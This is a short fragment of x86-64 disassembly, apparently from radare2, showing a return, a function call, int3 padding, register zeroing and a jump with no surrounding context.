ret
mov ecx, ebx
call fcn.14000a9ec
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000a924